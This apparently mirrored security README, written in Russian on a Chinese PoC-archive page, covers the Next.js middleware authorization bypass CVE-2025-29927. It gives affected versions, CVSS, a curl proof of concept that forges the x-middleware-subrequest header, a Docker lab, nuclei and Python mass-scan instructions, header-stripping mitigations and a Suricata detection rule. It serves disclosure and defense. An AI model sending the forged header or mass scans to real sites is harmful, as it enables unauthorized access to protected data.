关联漏洞
介绍
# CVE-2025-29927 — Next.js (middleware authorization bypass)
> **Кратко:** уязвимость в middleware Next.js, позволяющая обходить проверки авторизации путём подделки заголовка `x-middleware-subrequest`.
---
## Содержание
1. [Краткое описание](#краткое-описание)
2. [Детали уязвимости](#детали-уязвимости)
3. [CWE Weakness Enumeration](#cwe-weakness-enumeration)
4. [Влияние и дополнительные риски](#влияние-и-дополнительные-риски)
5. [Затронутые версии](#затронутые-версии)
6. [CVSS и метрики](#cvss-и-метрики)
7. [PoC — безопасное воспроизведение локально](#poc--безопасное-воспроизведение-локально)
8. [Лаборатория: быстрый запуск vulnerable demo](#лаборатория-быстрый-запуск-vulnerable-demo)
9. [Массовая проверка nuclei, Python](#массовая-проверка-nuclei-python)
8. [Mitigation / Remediation](#mitigation--remediation)
9. [Detection / SIEM / IDS правила](#detection--siem--ids-правила)
10. [Ресурсы и ссылки](#ресурсы-и-ссылки)
---
## Краткое описание
- **CVE:** `CVE-2025-29927`
- **Продукт:** Next.js (Vercel)
- **Кратко:** middleware, реализующая авторизацию, неправильно доверяет внутреннему флагу `x-middleware-subrequest`. Внешний клиент может поставить этот заголовок и обойти проверки доступа.
- **Дата публикации NVD:** 21 марта 2025 г.
- **CNA:** GitHub, Inc.
---
## Детали уязвимости
- **Описание:** Ошибка заключается в том, что middleware в Next.js полагается на внутренний признак x-middleware-subrequest при принятии решения о доступе. Поле изначально предназначалось для внутренних операций фреймворка, однако внешние запросы могут установить этот заголовок, что позволяет обойти авторизацию.
- **Root cause:** неправильная/небезопасная логика авторизации — доверие к входящему заголовку.
- **Условия эксплуатации:** веб-приложение использует middleware для авторизации; приложение использует уязвимые версии Next.js в обозначенных диапазонах.
---
## CWE Weakness Enumeration
- CWE-863: Incorrect Authorization — primary
- Evidence: middleware доверял заголовку 'x-middleware-subrequest' и пропускал запросы без дополнительной валидации.
- CWE-285: Improper Authorization — secondary
- Evidence: отсутствие надёжной аутентификации/авторизации для internal-only flow.
- Rationale: подделка внутреннего признака subrequest позволяет обойти контролли доступа => соответствует указанным CWE.
---
## Влияние и дополнительные риски
- **Влияние:** обход авторизации дает доступ к приватным страницам/данным, возможность эскалации (в зависимости от приложения), компрометация пользовательских данных.
- **Дополнительный риск:** CPDoS (Cache-Poisoned DoS): уязвимость может позволить манипулировать кэшем CDN/edge (например, если внутренние subrequests помечают ресурсы как приватные/публичные), что приводит к отравлению кэша и потенциальному отказу или раскрытию данных.
- **Примеры последствий:** утечка PII, обход бизнес-логики, скомпрометированные сессии, вмешательство в маршрутинг приложения.
---
## Затронутые версии
Уязвимы следующие диапазоны версий:
- `>= 11.1.4` и `< 12.3.5`
- `>= 13.0.0` и `< 13.5.9`
- `>= 14.0.0` и `< 14.2.25`
- `>= 15.0.0` и `< 15.2.3`
**Примечание:** версия `12.3.5` и выше (соответственно `13.5.9`, `14.2.25`, `15.2.3`) содержит исправления.
---
## CVSS и метрики
- **Base Score:** `9.1 (CRITICAL)`
- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`
**Temporal:** E:P (PoC) * RL:O (official fix) * RC:C (confirmed) = 8.2 *(примерный Temporal Score)*.
---
## PoC — безопасное воспроизведение локально
1. Поднять vulnerable demo (или взять PoC-репозиторий). Пример общих шагов:
```bash
# клонируем репозиторий с vulnerable-demo
git clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
# по умолчанию сервер будет на http://localhost:3000
```
2. Простой read-only PoC (curl):
```bash
# без заголовка — ожидаем отказ (401/302/403)
curl -si http://localhost:3000/protected | head -n 20
# с поддельным заголовком — если уязвимо, вернёт 200 + тело
curl -si -H "x-middleware-subrequest: 1" http://localhost:3000/protected | head -n 20
```
3. Анализ результатов: если запрос с заголовком успешен, а без — отказ, PoC воспроизводим.
---
## Лаборатория: быстрый запуск vulnerable demo
Пример `Dockerfile` (минимальный):
```dockerfile
FROM node:18-alpine
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
```
`docker build -t next-vuln . && docker run --rm -p 3000:3000 next-vuln`
---
## Массовая проверка nuclei, Python
### Nuclei
- **Passive template:** проверка fingerprint (`/_next/static/`, `package.json`, headers, favicon hash) — безопасный режим.
- **Active template:** отправляет GET с `x-middleware-subrequest` и сравнивает ответ. **Обязательно** использовать rate-limit и throttle.
Команда для запуска (пример):
```bash
# passive
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt
# active (контролируемо)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20
```
### Python-сканер (архитектура)
- Алгоритм: для каждого хоста получить базовый ответ (без заголовка) → повторить с заголовком `x-middleware-subrequest` → сравнить статус и тело.
- Обязательные опции: `--concurrency`, `--delay`, `--dry-run`, `--respect-robots`.
- Используйте `aiohttp` / `asyncio` для высокой производительности.
Короткий псевдокод:
```py
async def probe(url):
r1 = await session.get(url)
r2 = await session.get(url, headers={"x-middleware-subrequest": "1"})
if significant_difference(r1, r2):
report_vulnerable(url)
```
---
## Mitigation / Remediation
1. **Primary:** обновить Next.js до исправлённой версии:
- `>= 12.3.5`, `>= 13.5.9`, `>= 14.2.25`, `>= 15.2.3`.
2. **Quick-fix (edge/proxy):** удалить/очистить заголовок `x-middleware-subrequest` на границе:
- NGINX: `proxy_set_header X-Middleware-Subrequest "";`
- Apache: `RequestHeader unset X-Middleware-Subrequest`
3. **App changes:** убрать зависимость авторизации от входящих заголовков; опираться на JWT/session tokens/серверную валидацию.
4. **CI/CD:** добавить контроль версий зависимостей и правила обновления при advisories.
---
## Detection / SIEM / IDS правила
Примеры правил/алертов:
- **SIEM:** alert при входящих запросах с `x-middleware-subrequest`, если source.ip не в `trusted_proxies`.
- **Suricata (псевдо):**
```
alert http any any -> any any (msg:"External request with X-Middleware-Subrequest"; http.header; content:"x-middleware-subrequest"; sid:1000001; rev:1;)
```
---
## Ресурсы и ссылки
- NVD / CVE-2025-29927 (NVD entry) — для версий и CVSS;
- GitHub Advisory / Vercel advisory — для патчей;
- PoC-репозитории (замените на реальные URL):
- `https://github.com/<author>/CVE-2025-29927-POC`
- `https://github.com/<author>/vulnerable-nextjs-demo`
- ProjectDiscovery / nuclei-templates — шаблон CVE-2025-29927.
文件快照
[4.0K] /data/pocs/f61c03846ddfa8ade60a8707959b181ffa35d5de
└── [9.4K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。